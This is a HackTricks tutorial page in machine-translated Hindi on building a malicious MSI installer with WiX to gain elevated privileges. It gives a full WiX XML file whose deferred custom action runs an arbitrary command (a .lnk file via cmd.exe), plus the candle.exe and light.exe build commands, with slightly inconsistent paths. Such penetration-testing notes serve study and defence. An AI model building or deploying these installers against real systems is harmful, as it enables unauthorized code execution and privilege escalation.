Create MSI with WIX

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

दुरुपयोगी MSI बनाना और रूट प्राप्त करना

MSI इंस्टॉलर का निर्माण wixtools का उपयोग करके किया जाएगा, विशेष रूप से wixtools का उपयोग किया जाएगा। यह उल्लेखनीय है कि विकल्प MSI निर्माताओं का प्रयास किया गया, लेकिन इस विशेष मामले में वे सफल नहीं रहे।

wix MSI उपयोग उदाहरणों की व्यापक समझ के लिए, इस पृष्ठ की सलाह दी जाती है। यहां, आपको wix MSI के उपयोग को दर्शाने वाले विभिन्न उदाहरण मिलेंगे।

उद्देश्य एमएसआई उत्पन्न करना है जो lnk फ़ाइल को क्रियान्वित करेगा। इसे प्राप्त करने के लिए, निम्नलिखित XML कोड का उपयोग किया जा सकता है (यहां से xml):

<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
<Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
<Directory Id="TARGETDIR" Name="SourceDir">
<Directory Id="ProgramFilesFolder">
<Directory Id="INSTALLLOCATION" Name="Example">
<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
</Component>
</Directory>
</Directory>
</Directory>
<Feature Id="DefaultFeature" Level="1">
<ComponentRef Id="ApplicationFiles"/>
</Feature>
<Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</Property>
<CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore"
Impersonate="yes"/>
<CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
fail_here
</CustomAction>
<InstallExecuteSequence>
<Custom Action="Stage1" After="InstallInitialize"></Custom>
<Custom Action="Stage2" Before="InstallFiles"></Custom>
</InstallExecuteSequence>
</Product>
</Wix>

यह जरूरी है कि Package तत्व में InstallerVersion और Compressed जैसी गुणधराएँ होती हैं, जो इंस्टॉलर का संस्करण और पैकेज का यह दर्शाती है कि पैकेज संकुचित है या नहीं।

निर्माण प्रक्रिया candle.exe का उपयोग करने के साथ संबंधित है, जो wixobject को msi.xml से उत्पन्न करने के लिए wixtools से एक उपकरण है। निम्नलिखित कमांड को निष्पादित किया जाना चाहिए:

candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml

इसके अतिरिक्त, पोस्ट में एक छवि भी दी गई है, जो कमांड और उसके आउटपुट को दर्शाती है। आप इसे दृश्य मार्गदर्शन के लिए देख सकते हैं।

इसके अतिरिक्त, wixtools से एक और उपकरण light.exe का उपयोग किया जाएगा, जिससे wixobject से MSI फ़ाइल बनाई जाएगी। निम्नलिखित कमांड को निष्पादित किया जाना है:

light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated